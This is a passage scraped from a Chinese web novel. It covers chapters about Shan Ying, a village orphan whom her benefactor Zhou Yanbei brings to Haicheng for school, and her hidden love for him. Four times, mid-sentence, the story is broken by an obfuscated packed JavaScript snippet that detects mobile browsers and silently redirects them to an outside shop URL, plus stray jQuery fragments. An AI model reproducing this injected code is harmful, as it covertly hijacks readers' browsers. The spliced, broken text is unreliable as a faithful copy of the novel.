虽然有周燕北资助,不必担忧失学,自己倒也一直也没有停止努力,咬紧牙关日夜苦读,每年都在学校里拿一等奖学金。 刚好,存下来的钱可以负担住宿费用。 她在初中度过了还算充实的三年。 中考发挥不错,分数排名在云水县前三十,全镇第二。 但周父和村长约定的资助只到中考结束。 高中本身就不是义务教育,云水县最好的那所高中还是私立学校。 学费比公立高中贵上不少不说,又强制每个学生都要全封闭住校。 对单潆来说,学林林总总加起来的开支太过高昂,她无父无母,十年里全靠旁人接济为生,实在难以独自承担。 就在她因钱困扰,为前路犹豫不决时,周燕北再次从天而降。 他在同一时间收到了资助对象的成绩单,并千里迢迢,从海城奔赴白云村,找到了在溪水边洗衣服的单潆。 十年间,云水县一点点缓慢发展着,已经脱贫成功。 而白云村也拉上了电缆、建了网络基站,接上了自来水管。 村民们总算不用再过从井里打水的日子。 只是表叔表婶心疼水电费,单潆也识相,平常住在学校,放假回去就乖乖当一个寄人篱下的隐形人,少吃少喝少露面,尽可能不用表叔家里的东西。 洗衣服也还是去溪边手洗。 麻烦是麻烦了些,好在没人打扰,自由自在的。 “……阿潆。” 单潆听到有人喊她的名字,回过头。 看清来人时,愕然瞪大了眼睛。 她没想到,周燕北会在这个时候突然出现。在一个盛夏时节,而不是往年的冬季。 第一反应是揉眼睛。 周燕北被单潆的反应逗得笑起来,“别揉了,小心洗衣粉揉进眼睛。” 事实上,他是来带她去海城的。 单潆成绩实在亮眼,埋没未免可惜。 海城的教育水平比云水县强不止数倍,到那边去上学,想必会有更好的发展。 况且,她父母双亡,在村里过得也不算好。 哪怕背井离乡去求学,似乎没什么可挂念的。 “……” 解释完来意,周燕北朝她伸出手,“阿潆,走不走?” 单潆几乎没有丝毫犹豫,在清澈的溪水里洗了洗手,洗到干净得不剩一点泡沫,才把手放进他掌心,牢牢握住。 她说:“哥哥,我跟你走。” …… 中考结束后的暑假,单潆来到了海城,住进周燕北家的别墅。 周燕北替她办好手续,让她去海城实验中学上学。 海实是海城知名的私立学校,教学质量很高,里面的学生大多家境良好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960732|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还成绩优异,学风很不错,课外活动也多,能接触到各种各样的新鲜事物。 周燕北是希望,单潆不仅仅只想着死读书,也能在人生仅有一次的青春年华里,过得快乐生动一些。 他主动将人接到身边来照顾,总归是要方方面面都为她打算好的。 很快,新高一开学。 单潆初来乍到,骤然接触到全新的教材和教学模式,只觉得比云水难得不是一点儿半点儿,根本适应不了。 特别是文科。 海城的孩子从小就学英语,还不是那种只会做题的哑巴英语,大部分都能说会道,词汇量又大,课外阅读量也多,不少还上过外教课,口音相当标准。 而单潆呢,镇上小学三年级才有英语教材,老师教音标时都带着浓浓的乡音,使得她的听力一直不好,口语更是一塌糊涂,根本不敢张开嘴。 因而,突然换了个环境,单潆学得焦头烂额。 天天熬夜到凌晨,天不亮就起床背单词听听力,一个人躲在阳台上跟读课文。 就算这样,第一次月考,她依旧没能考好。 各科总分全班倒数第三。 从来没有过的成绩。 单潆从小就清楚,学习是她唯一的出路。 如果不好好读书,以后还是得回去学采茶。 所以,她一直拼命努力,头悬梁锥刺股,在小学初中都是名列前茅的好学生,中考还拿到全镇第二的耀眼成绩,完结就是同学家长眼中“别人家的孩子”。 可是,血淋淋的现实给了她重重一击。 出成绩的那天,单潆独自在学校附近陌生的道路上东逛西逛,迟迟不敢回家。 周燕北花了那么大的力气、出了那么多钱把她带来海城,她却要用这样的答卷来回报给他吗? ……她那么差劲,哥哥知道之后,一定会后悔吧。 她越想越懊恼。 一时之间,只觉得天都要塌了,根本无法面对。 单潆蹲在马路边,苦着脸挣扎了好一会儿。 最终,掏出了周燕北给她的新手机,开始在地图APP上搜索火车站的位置。 或许,海城根本不适合她。 学校是很好,可她太笨了,和同学们比起来不够出色不够优秀,再努力也跟不上他们的脚步。 还是回老家吧。 不能给周燕北丢人现眼。 舍不得也没办法。 单潆在心里盘算着,如果重新回云水去上学,是不是要再厚着脸皮问哥哥借一笔钱。 要是说,等自己毕业工作之后再还,他会答应吗? “……” 正当单潆还在垂着脑袋胡思乱想,不知何时起,眼前悄然投下一片阴影。 她在外徘徊时间太长,恰好周燕北今天接到她们班主任的电话,驱车回了家。 见人迟迟没有回来,便出来找人。 海城进入九月末,秋老虎来袭,威力无穷。白日依旧夏意不减,但入夜后,晚风习习扑面,倒是吹出些许秋日清凉来。 这会儿,天色已经彻底黑下来。 路灯明亮,反衬得夜色更浓。 单潆穿着海实的短袖校服,蹲在街边梧桐树的阴影里,整个人缩成一团。 因为肩膀单薄,整个人看起来羸弱伶仃,像个迷路找不到家的小可怜。 周燕北在她面前站定。 身影挡住了路灯洒下来的光线。 单潆仰起头,看到熟悉的人脸,结结实实地吓了一跳,差点往后倒下去。 周燕北眼疾手快,一把握住她的肩膀,将她整个人往上一拉,站稳。 顿了顿,他这才慢条斯理地开口调侃道:“这位朋友是藏在这里准备碰瓷啊?” “……” 单潆咬咬唇,不敢同他对视,一言不发地缄默。 见状,周燕北只得无奈地叹了口气,伸手轻轻拍了拍她的脑袋。 “阿潆,只是一次考试,也不必离家出走吧?” 话音甫一落下,单潆的眼泪立马就有些憋不住了,泫然欲泣道:“哥哥,我太差劲了,我想回云水……” 6.06 周燕北没作声。 半晌,看单潆发泄得差不多,他才将她的书包从肩上拿下来,熟门熟路地在最外层翻出一包餐巾纸,抽一张替她擦拭脸上的泪水。 动作实在不甚熟练。 三两下,单潆的脸就被抹得乱七八糟。 偏偏,周燕北一点都不见心虚,桃花眼上挑半分,好整以暇地看着她花猫似的模样。 单潆吸吸鼻子,逐渐平静下来。 她察觉到了周燕北目光里的打趣意味,立马低下头,一把捂住脸,哽咽道:“……看什么!” 周燕北低笑一声,“别哭了。阿潆,这点小事就让你退缩了吗?忘记从前你说过什么了吗?” “哥哥,我……” 单潆将脸埋在自己手心,声音闷闷的,又不知道该如何作答。 周燕北提醒她:“三年前,你跟我说,你一定会考出大山的。” “……” 往事历历在目。 当时,周燕北刚从国外游学回来,被单潆追着询问起各种细节。 小姑娘刚从小学毕业,还未发育完全,通身都是小孩子的幼稚气,靠在周燕北旁边,身高只到他的胸口下面一点点,又瘦又小,和豆芽菜一模一样。 唯独只有一双眼睛明亮璀璨,一直目光炯炯地盯着他。 满脸写着求知若渴,似乎对大山外的一切事物都很有好奇心。 因此,周燕北平白生出了许多耐心,语调温吞,声音含笑,仔细地将自己游学的经历讲给她听。 “国外是要坐飞机去吗?比云水到海城还远吗?” “……十个小时?!” “那边的学校里居然也会有那么高的楼吗?” “曲棍球是什么?” “哇,哥哥,你真的好厉害啊!!” “……” 周燕北很清楚,单潆并不是开朗善谈的小孩。 家庭的变故、难熬的生活,让她太小就被裹挟着要成熟懂事。 要会干活,要会低头。 要会看眼色,要不惹人厌烦。 一切的一切,都在压抑着属于孩子的本性,让她变得敏感少言。 两人相处机会不多,周燕北也是难得看到她问这么多问题,对话语中任何细枝末节都是兴致勃勃的模样,半天都有些意犹未尽。 闲聊许久。 蓦地,单潆似乎突然意识到自己有点烦人。 她觑着周燕北的脸色,抿了抿唇,小心翼翼收了声。 继而,腼腆地笑起来,“哥哥,我一定会考出大山的。以后我也要坐飞机,也要去看高楼大厦,去明亮的教室里上课。……还要赚很多钱给哥哥。” 周燕北的恩情,如果要量价的话,她永远都还不清。 但亏欠这种事,当然是能少一些就少一些最好。 当时,周燕北似乎没有把单潆的话当回事,只是摸摸她的头发,笑着夸了句“有志气”。 谁曾想,三年过去,他竟然还记得这种小事,又把这些孩子气的话翻出来说。 周燕北:“真不记得了?” “……” 单潆无言以对。 静默片刻。 她深吸一口气,把脸上的水渍蹭干净,顺便收拾好受挫的自尊心,用力点点头,“记得。哥哥,对不起,我下次一定会考好的。” 周燕北:“没什么对不起我的。这是你自己要做的选择。” 单潆垂下脑袋,恹恹应声:“我知道了。” “下次还会不会动不动就要回云水了?” “……不会。” 得到肯定答案,周燕北这才满意颔首,领着她往停车的地方走。 这一路,单潆的书包背在周燕北肩上,竟然也没多少突兀。 身高腿长的衣架子身材就是这样好,无论多奇怪的东西,都会变成搭配的一部分。 她忍不住心想道。 单潆到海城之后才接触到电子产品,很快就学会了用手机上网,浏览一些现在年轻人喜欢的内容,譬如电影电视游戏小说,还有演员偶像歌手之类的,偶尔也会跟着家里的保姆阿姨一起看会儿韩剧。 不过,在她看来,电视里那些帅气的男明星,其实长得都不如周燕北英俊。 他要是去当明星,一定能红透大街小巷。 此时,周燕北还不知道单潆在心里把他想得天花乱坠,只不紧不慢地温声开口:“阿潆,以后无论发生什么事,都不要躲起来让人找不到,知道吗?” 夜色给两人披上了一层纱衣。 仿佛连声音都变得朦胧。 “……” 单潆怔了怔,一时之间,没有立刻应声。 因为,她突然想起来,这确实不是周燕北第一次来找她。 想反驳也无法理直气壮。 只能泄气般地轻声“嗯”了一声。 单潆:“我知道了,哥哥。下次肯定不会麻烦别人了。” 闻言,周燕北轻笑起来。 “不是麻烦。是担心。你走丢了的话,我会担心你。” “……” 因着这句话,回家后,单潆的脸颊温度还一直没能褪下去。 心脏里有一只小白兔,在怦怦乱跳。 写作业订正考卷,一切都变得动力满满。 临睡前,周燕北再次出现,敲响了单潆的房间门,“阿潆。” 笔尖一顿。 她循声望去。 周燕北已经换了家居服,倚在门边,一副慵懒随意的模样,开口道:“我给你请了两个家教老师,补英语和数理。每周各三次。” “哥哥,我……” 周燕北抬起手,打断她的未尽之言,“不要拒绝。适当的求助和示弱,会让你轻松一些。放心吧,都是很好的老师。” 温柔表象下,是不容人辩驳的强势。 他的决定,单潆从来无法拒绝,只能讪讪点头,“好,谢谢哥哥。” …… 有家教老师帮着练口语练听力,重新打理科基础,再加上单潆自己足够努力,成绩很快提升上去,来到了班级中上。 她好像也开始逐渐适应新生活,在班上交到了新朋友,笑容开始变多。 单潆的一切变化,周燕北全都看在眼里。 过去,他对她有义不容辞的责任感,方方面面都会为她做好打算。 现在也一样。 “……” 单潆还不知道周燕北的想法,只心不在焉地吃完饭,轻声开口道,“哥哥,我吃好了,先回房间了。” “嗯。” 得到允许,她站起身,兀自回了楼上卧室。 剩下周燕北一个人,依旧端坐在餐厅,曲起指,有一下没一下地轻叩着桌面,似乎在思忖考虑着什么事。 沉吟片刻。 他摸出手机,发了几条微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965021|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,重新给单潆的学业做了安排。 …… 周家的别墅位于海城市中心区域,比海实校区位置更中心。 四周都是老牌豪宅,堪称寸土寸金。 就算这样,别墅的面积依然够大,上下总共有四层。 地面上三层,地下一层。 一楼是会客区,外加三个保姆间,二楼一整层都是周燕北父母在用,平常没人进去。三楼则是周燕北的房间。 别墅外面还有独立的花园车库。 单潆住在三楼。 她搬过来时,卧室房间早就提前收拾好,是原先的休息室辟出来的。 之前周燕北搞乐器玩游戏,特地给这个房间做过隔音,现在就归单潆用。门一关,里面安安静静,想听歌看剧、或者无论做点什么,都完全不会打扰别人,也不会被外面打扰,保证小姑娘能有足够的隐私和安全感。 除此之外,这间房间还有个大阳台。 通风好不说,又能坐在阳台晒晒太阳看看书,很是舒服。 往常,周燕北大多住在学校那边,他的书房被单潆征用,成为她在这个家里呆得最久的地方。 写作业、背书,亦或是家教老师过来补课,都在书房。 卧室阳台没了用武之地,干脆拿来养宠物。 依照惯例,单潆每天回家,要先给阳台上的兔子喂饭。 只不过,今天因为家长会的事情,他们回来得太晚,她又急着要去和周燕北一起吃晚饭,就耽搁了下来。 这会儿功夫,兔子已经正在笼子里蹦来撞去,一阵吱哇乱叫,以示抗议。 单潆怕它把笼子弄翻,忙不迭上前。 将提草先喂给它,又倒了一小盘兔粮放进笼中。 等兔子安静下来,她才松了口气,人往后一倒,直接坐到了地上。 ……好累。 因为家长会,全天神经高度紧绷,又想到了从前的事,心脏一直惴惴不安地吊着,至今还未落到实处。 单潆靠着阳台门缓了会儿,从口袋里摸出手机。 Q.Q里躺着好几条未读信息。 全部来自好友舒黛。 黛黛:【单单!你怎么样了?家长会结束了吗?你哥哥骂你了吗?】 黛黛:【不会还要回家挨打吧?】 …… 黛黛:【[未接听,点击回拨]】 黛黛:【咋这么久还没回音?单单你还好吗?快吱个声呀!】 黛黛:【[紧张.jpg]】 单潆啼笑皆非,连忙拍了一张兔笼的照片发给她。 SY:【喂兔子呢。】 SY:【没事,我哥哥很温柔的,不打人。你别把他想得那么吓人嘛。】 舒黛秒回:【那你怎么那么怕他?放学的时候我看你嘴唇都白了,让你跟我一起先回家你也不走,非要等到晚上他一起,可见此兄杀伤力很大呀。】 “……” 单潆看着手机屏幕,半天说不出话来。 按灭手机,她将整个脑袋都埋到了膝盖之间,整个人缩成薄薄一小团。 该要怎么告诉舒黛,她根本不是怕周燕北,而是正在长久地、厚颜无耻地暗恋他呢? 除了害怕,只有喜欢,才会让人如此患得患失。 可偏偏,这是一个无法启齿的秘密。 只能深埋在冬日的大雪里,一季又一季,年复一年,永不停歇。 7.07 「他会惊叹你、记住你,会画下你,会永远描绘你的青春之歌。 但是他不会追求你,不会登上通向你的梯子,不会为你拼杀,不会在你阳台下唱小夜曲。」——赫尔曼?黑塞《克林索尔的最后夏天》 - 最终,家长会以周燕北又给单潆请来家教老师收场。 单潆从来不会抗议周燕北的决定,干脆利落地点头应下:“好。谢谢哥哥。” 除了“谢谢”之外,目前的她什么都做不了。 乖乖听话才是最好的选择。 对此,周燕北看起来确实十分满意,摸摸她的头发,随即温声吩咐道:“你去一趟车库。” 单潆问:“要出门吗?” 今天是周末,周燕北难得在家,却又要出去…… 单潆面上不显,眼中却难掩失落。 周燕北笑了笑,慢条斯理地开口:“有礼物,在副驾上。你自己去拿。” “哇!” 单潆惊讶地瞪大了眼睛,跳起来惊呼一声,踩着拖鞋就“蹬蹬蹬”地冲向车库。 周燕北的声音从背后传来,带着随性笑意。 “你小心点。” 闻言,单潆边小跑着,边回头朝他摇摇手,表示听到了。 这随意一侧目,却令她不由自主地呼吸一滞,心跳漏了半拍。 视线里,周燕北依旧坐在沙发上,摆弄着手边的乐高积木。 他头发微微垂下,盖住额头,穿了一身件黑色高领毛衣,腿上还半盖了条深灰色羊毛毯,溶溶垂地。 整个人十分舒适居家,连气质都被衬得柔软下来,生出不少平易近人的模样。 可是,在单潆眼中,此刻,周燕北分明在笑,却看起来毫无情绪,并不见得有多高兴。 就像一尊像悲天悯人的神像。 无论如何都难以向他伸出手触碰,妄图去亵渎分毫。 没有例外。 “……” 单潆抿了抿唇,黯然收回视线。 …… 车库在别墅外,从后门穿过去最近。 冷空气仍未结束,海城气温还在个位数徘徊。 哪怕白日出了太阳,但风太大,一阵又一阵,簌簌地卷动着落叶和灰尘,室外依旧寒冷。 单潆出来得匆匆忙忙,没穿外套也没带围巾,只能抱着手臂缩起脖子,一路冲到车库里避风。 车库里停着好几辆车。 周燕北最常开的是他那辆黑色大G,平常出入都开这辆。 要是司机开,才会换成其他车。 据周燕北自己说,他已经过了喜欢超跑的18岁。 大车空间大,方便载人,也方便放点东西,心血来潮的时候还能直接开去自驾游。 外加他个子也高,确实适配大G这种车型。 单潆熟门熟路地拉开车门,俯身探进去找。 副驾座上有不少东西。 譬如周燕北随手扔着的围巾钱包,还有平板和一些书,稳稳垒在一起,勉强算得上杂而不乱。但也可以看得出车主没有洁癖。 就算以前有,估计在去过白云村之后,也被强制性痊愈。 靠椅背处,放着一个大纸袋。 袋子正面有硕大的LOGO,是连单潆都知道的知名女装品牌。 舒黛之前替过,说想买一身这个牌子的大衣。但因为价格太贵,她父母不答应,她不得不攒攒压岁钱再下手。 “……” 显而易见,这就是周燕北口中的礼物。 他怎么突然想到要给她买衣服了? 单潆想了会儿,才将纸袋整个拎起来。 没想到底下还压着上次家长会下发的成绩条。 她连忙将成绩条也一起抽走,团成一团塞进口袋。 只是,尚未来得及离开“作案现场”,身后传来一道声音:“哟,这里哪里来的小毛贼呀?怎么还钻人家的车呢?” 单潆:“……” 她扭过头。 果不其然,这种浪里浪荡的说话语气,来人非庄靳莫属。 单潆从车上下来,乖乖站直打招呼:“庄靳哥哥。” 庄靳是周燕北穿一条裤子长大的兄弟,自然是周家别墅最常见的客人。 他住得离这里不远,时不时周末骑个车就过来蹭饭。 不过,这一回,庄靳不是一个人来的。 他旁边还跟了个非常漂亮的陌生女人。 女人约莫二十五六的年纪,高个子,长卷发,尖下巴,肤色白皙,一席白色大衣,活脱脱画报里走出来的大美女,弥足引人注目。 因为是没见过的人,突然出现在家中车库,还是和庄靳一起来的,单潆不免有些好奇。 目光在她身上碰了一下,但很快礼貌地移开了视线。 庄靳大大咧咧,压根没想着给两人互相介绍,只是看着单潆手中提的纸袋,冲她挤眉弄眼,“阿潆,你哥又给你买衣服啦?” 单潆点点头,“应该是。” 她还没来得及拆开看。 而后,庄靳便笑着打趣道:“哎呀,我们燕北是在打扮洋娃娃呢,换装游戏?倒是看不出来,这人很有少女心啊!” 单潆自觉嘴笨,听他这么调侃,不知道该如何回答,脸颊不由自主地开始发烫。 倒是旁边那女人先一步插嘴,问了句:“这就是周燕北的妹妹吗?” 庄靳点头,“是啊。” 女人微微蹙眉,嗔怪他:“你怎么没说妹妹也在家里,我空着手来的,都没带份见面礼。” 顿了顿,又朝单潆打招呼,“妹妹你好,我是你哥的朋友,我叫赵沛沛。怎么称呼你呢?” 单潆轻声说:“我叫单潆。单独的单那个字,江水潆洄的潆。” …… 三人一同回到屋内。 听到动静,周燕北仰起头,随口问了句:“怎么去了这么久……你们怎么来了?” 别墅里开着地暖,室温很高。 推开房门,只觉得热气扑面,骤然驱散了寒意。 但单潆还是给赵沛沛找了双拖鞋。 试图像这个家真正的主人那样。 赵沛沛笑眯眯的,看起来性格很好,“谢谢妹妹。” “不客气。” 庄靳熟门熟路,脱了鞋直接踩着地毯往里走,一路径直奔向沙发,一秒钟没骨头似的瘫进去。 “……什么我们怎么来了,不是给你发消息了说要来找你吗?学姐有个合同条款要跟你商量,我就顺路把她带过来了。怎么,不欢迎啊?” 他讲话一贯是罗里吧嗦絮絮叨叨的,开口就像是要喋喋不休个没完。 周燕北懒得听他废话,从旁边拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979574|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉手机充电线,扫了一眼屏幕,“没注意。” 庄靳:“又在拼乐高了?你这爱好可真持久啊。” 周燕北兴趣爱好广泛,乐高一般会用来打发时间,也可以静下心。 他向来耐心极佳,从小就比同龄人坐得住,注意力更集中,很擅长拼积木。 前些年,周燕北还买了一个超大的乐高城堡,千里迢迢送去云水,给单潆拼着玩。奈何她课业实在太忙碌,空闲时间不多,断断续续地拼了三四年才把城堡拼出来。 结果,因为她家太小,没位置放,后来不得不让周燕北把成品重新带回海城。 现在就摆在三楼书房,最显眼的立柜上。 城堡整个儿用透明展示盒盖着,四周还贴了灯带,看着比专卖店还精致漂亮。 倒是周燕北自己拼的那些,全都被他随手丢进了杂物间,胡乱堆在一处,长久地不见天日。 单潆清楚,周燕北做的这一切,只是因为他真心把她当做妹妹,并且也想将这种想法传递给她,让她把这里当成自己的家。 她分明是心如明镜的。 但理智却总是难以控制浮想联翩的大脑。 …… 说话功夫,周燕北瞧见了落后的两人。 他冲着赵沛沛点点头,“师姐。” 停顿半秒,再侧目望向单潆,“阿潆,衣服试了吗?喜欢吗?” 话音刚落,霎时间,在场所有人的注意力全都集中到单潆身上。 难得生人在场,单潆有点局促,手指缠着纸袋的拎绳,无意识地一圈一圈打转,讷讷答道:“还没。” 周燕北笑起来,“先去试衣服。” “嗯,哦,好的。” 应完,她赶紧扭头往楼梯走。 走上半层,赵沛沛的声音从下面传来。 因着房间开阔,依旧清晰可闻。 她正笑着揶揄周燕北:“我说呢,你之前怎么突然问我外套的牌子,还当你什么时候对女装感兴趣了,原来是要给妹妹买的。真是个好哥哥啊,外表倒是看不出来呢!” 闻言,单潆脚步一顿,忍不住竖起耳朵偷听。 庄靳抢先应和:“师姐,你是不知道,周燕北他就是个纯妹控,还是个掌控欲超强的大男子主义老古板,平常装得温柔体贴的……啧啧,也就只能骗骗阿潆了。” 周燕北语气淡然,懒懒散散的,听不出多少不悦,“能骗到不就行了么。阿潆高兴才重要。至于你么,哪儿凉快哪儿呆着去吧。” 庄靳:“哇靠!师姐你看!这人是不是极度无耻!重妹轻友啊简直!” 赵沛沛哈哈大笑。 单潆咬了咬唇,心中划过暖意。 正当她迈开步子,打算继续往上时,倏地,楼下再一次提到她的名字。 赵沛沛:“不过燕北,我虽然早就听说你有个妹妹,但还是第一次知道单潆的名字。她平常住在你家……是表妹吗?” 静默数秒。 周燕北不急不缓地说:“和亲妹一样的。” “……” 顷刻间,单潆只觉得眼眶不受控制地开始发烫,好像有什么东西快要从身体里掉下来、砸落在地。 是眼泪? 或者是,少女沉甸甸的心意。 她只知道,自己一句话都不想再听,立马头也不回地往楼上跑去。 8.08 因着这风轻云淡的小插曲,单潆的心情彻底跌落谷底。 但想到周燕北的吩咐,回到房间后,她还是先去试了试衣服。 纸袋很重,一路拎过来也是沉甸甸的,颇有分量。 拆开,果然是一件大衣。 通体鹅黄色,款式和赵沛沛那件有点像,但又不完全一样,明显是十分青春亮眼的风格。 卧室里四季如春,地暖和中央空调一同运行。 为防主人睡觉着凉,常年保持在二十多度。 因而,单潆刚把大衣套上身,立马就觉得全身都有点燥热起来。 不过她还是坚持穿着,到落地镜前照了照,左右打量一番。 虽然不像庄靳说得那样万花丛中过,为各种女伴挑过衣服,但周燕北的眼光同样也很好,给单潆买的东西都是十分适合她的。 这次的礼物亦是如此。 两人第一次见面的时候,单潆还是个没开始上学的小孩,成日在山里东奔西跑,日晒风吹都浑不在意。 云水海拔高,紫外线比城市里更强。 稍不注意,就把人晒得黝黑。 那会儿,她整张脸都像是染了墨水一样,五官都快要融化在黑炭色里,只剩下一双又大又亮的眼睛,勉强能分辨清楚。 到上学之后,因为没时间在山里野,肤色才一点点养回来。 随着年纪逐年增长,单潆的皮肤日渐变得清透白皙。 哪怕口重嗜辣,青春期却也一点都没爆痘,实属老天偏爱。 鹅黄色是少女色,皮肤越白,越能衬得人明媚靓丽。 她人够瘦,肩膀单薄一片,穿上长款大衣也不显得臃肿。 再加上这个牌子一直以材质和剪裁闻名,不单单只是保暖舒适,也会让整个人看起来十分挺拔,必然对得起这两万多一身的价格。 单潆对着镜子转了一圈,很是满意。 恰好,正此时,门口响起敲门声。 她以为是周燕北,直接喊了句:“请进。” 没想到,来人是赵沛沛。 赵沛沛推开门,笑吟吟地看向她,问道:“阿潆,这里现在是你的房间啊,方便进来参观一下吗?” 单潆怔了怔,在对方炯炯目光中,只得应下。 “方便的。请进。” 赵沛沛:“你叫我沛沛姐就好。这衣服是周燕北选的?真漂亮。这个颜色我之前也试过,有点太装嫩了,果然还是得小姑娘穿才好看。” “谢谢沛沛姐。” 道完谢,单潆默默脱了大衣,搁到床上。 赵沛沛不是真的冒昧失礼的性子,虽然进了房间,却也没有到处乱瞟,只是径直走向阳台方向。 拉开阳台门。 精力充沛的兔子又在蹦蹦跳跳,发出“咚咚咚”的动静,似乎是想在主人面前昭示存在感。 赵沛沛听到后,第一时间看向兔笼方向。 “阿潆,这是你养的啊?” 单潆跟在她后面两三步远,闻言,顺着她的视线一同望过去。 “嗯。” 她点头。 赵沛沛蹲下.身,用旁边的毛绒萝卜逗兔子玩了会儿,这才笑着问道:“它叫什么名字?多大啦?” 单潆:“没名字。一岁多。” “没名字?!”赵沛沛表情有些讶然,“现在养宠物不是都要给它们取名字的吗?看不出来,你还蛮有个性的嘛。” 单潆抿了抿唇,迟疑片刻,最终还是未置一词。 这当然谈不上什么个性不个性的。 只不过是因为,从前她还在云水的时候,也养过一只小兔子。 …… 那会儿,单潆早已经吃掉了周燕北给她的糖,却将糖纸仔细保存下来。 奶糖很甜,是从来没尝过的味道。 糖纸上面那只小白兔,成了她回忆奇遇的媒介。 于是,她便一直记得,自己还没来得及给周燕北抓一只他喜欢的兔子,送给他带走。 这件事成了小单潆的一块心病。 她想重新再去捉一只兔子来。 这样,下次周燕北来的时候,就能把它送出手。 不至于毫无准备地空手见面。 虽然村长爷爷说,周燕北他们肯定不会再来白云村,但小单潆始终怀抱着希望。 为此,她一有空就往山里跑,研究了许多方法,还请教了村里其他的叔叔阿姨,总算掌握了抓兔子的技巧。又趁着放假,一连找了七八个兔子窝,耐心蹲守几个小时,蹲到小兔落入网中,才在它挣扎不休时,拎着耳朵将它带回了家。 单潆给它取了个名字,叫小南。 这会儿,她已经上了两年小学,是个二年级小学生了,也知道了“周燕北”名字里这几个字的意思。 燕北燕北,燕子向北。 那是不是只要有向南之时,他就会重新来到云水呢? 小南的名字,就是小小年纪的单潆,最质朴的期望寄托。 村里穷,压根没有宠物的概念。 倒是每家每户都会养点鸡鸭之类的,属于储备粮。 养肥之后,要么拿去卖,要么过年宰来吃。 喂东西也是随便喂喂,撒一把苞谷之类的,没多少讲究。 而小单潆却怕把小南喂死,每天都尽可能给它找新鲜菜叶吃。 有时候自己都吃不饱,也偷偷从口粮里抠两三片叶子出来,躲到小屋子里,喂给小南。 她以一种虔诚又认真的心情,仔细喂养着小南。渐渐地,将它当成了自己的家人朋友,每天对它诉说着它完全听不懂的幼稚想法。 比如…… “今天考试我又是第一名,老师夸我特别聪明呢!” “今天作业好多,好累哦。” “我把满分的考卷都存起来了,等周燕北来的时候就能给他看,知道我有在好好学习,没有白白浪费他们家的钱。” “小南,你说,哥哥他还会来吗?” “……” 但后来,某个寻常的一天,单潆在学校上课时,小南撞倒了杂物间里堆在墙角的旧鞋盒,弄出响动,被表哥发现。 单潆向来和表叔家两个孩子关系很差。 表叔一家鸠占鹊巢,占据了单潆父母的房子,抢走了原本属于单潆的家。 连带着,两个表哥也有样学样地欺负她,嘲讽她,往她书包里扔虫子,或是弄坏她的考卷。 这些单潆全都忍受下来。 没办法,她年纪小,没有依靠,又没有反抗的能力,自是无可奈何。 只能听村长爷爷的话,能忍则忍,先好好长大再想办法。 所以,当表哥看到小南之后,立刻嬉笑着将它从杂物间捉出来,拎到了厨房。 当天晚上,单潆放学回到家,迎接她的是一锅香喷喷的兔肉火锅。 表婶见到她,难得给了个好脸色,“阿潆,你抓到了兔子怎么不跟我们说呢?该不会是想藏着偷偷吃吧?算了,你年纪小,不跟你计较,过来吃肉吧。” 说话时,表哥就躲在表叔身后,冲着她挤眉弄眼地做鬼脸。 “……” 小单潆难以置信,呆呆的看着面前这一家人。 “砰!” 书包从肩上滑落,一下砸到地上。 她回过神,人生第一次如此疾言厉色,红着眼睛冲他们怒吼起来:“你们怎么能随便进我的房间!怎么能吃我的兔子!那是我的!我的!把小南赔给我!!” …… 往事总是不堪回首。 第一次养小动物的经历无疾而终。 而等真的再见到周燕北时,单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983775|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潆才知道,他并不喜欢小白兔,也不爱吃奶糖。 那两颗糖是他从家里的车上拿的。 到白云村路途漫长,当时,他为了打发时间,在车上各处翻来翻去,找到一把糖,随手放在了口袋里。 后来看小姑娘哭,估计是嫌吵,也恰好摸到糖果,就拿出来哄哄她。 一切都只是个美丽的误会。 但曾经为小南的死去伤心而流的眼泪,却是切实存在的真实。 现在这只兔子,是单潆来海城时,周燕北拿来给单潆养的。 